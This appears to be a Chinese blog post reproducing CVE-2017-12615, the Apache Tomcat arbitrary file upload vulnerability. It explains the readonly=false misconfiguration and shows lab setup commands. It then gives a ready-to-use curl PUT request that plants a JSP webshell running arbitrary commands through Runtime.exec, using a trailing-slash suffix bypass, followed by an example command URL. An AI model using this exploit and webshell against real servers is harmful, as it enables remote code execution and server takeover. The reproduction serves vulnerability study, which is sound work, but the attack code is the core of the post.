简介
漏洞名称:Tomcat任意文件上传漏洞
漏洞编号: CVE-2017-12615
漏洞影响:上传包含任意代码的文件,并被服务器执行
影响版本:Apache Tomcat 7.0.0 - 7.0.81
漏洞原理 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制
漏洞复现 环境搭建
安装JDK 1
2
3
4
5
6
7
8
9
10
11
12
13
$ tar zxf jdk-8u102-linux-x64.tar.gz
$ mv jdk1.8.0_102/ /usr/local/jdk1.8
$ vim /etc/profile
JAVA_HOME=/usr/local/jdk1.8
PATH=$JAVA_HOME/bin:$PATH
export JAVA_HOME PATH
$ source /etc/profile
$ java -version
java version "1.8.0_102"
Java(TM) SE Runtime Environment (build 1.8.0_102-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.102-b14, mixed mode)
安装Tomcat 1
2
3
4
5
6
7
8
9
$ tar zxf apache-tomcat-7.0.79.tar.gz
$ mv apache-tomcat-7.0.79 /usr/local/tomcat
$ cd /usr/local/tomcat/conf \
&& LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') \
&& ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" \
&& sed -i "$LINE i $ADDON" web.xml
$ cd /usr/local/tomcat/
$ ./bin/startup.sh
远程写入webshell文件 执行以下命令可以在webapps/ROOT/
目录下写入shell.jsp
的文件
1
curl -X PUT -d '<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");%>' http://192.168.0.104:8080/shell.jsp/
通过上面的shell在参数后写入命令即可
1
http://192.168.0.104:8080/shell.jsp?shell=ls
上一篇:Fastjson远程命令执行漏洞
下一篇:Redis未授权访问漏洞的利用和防护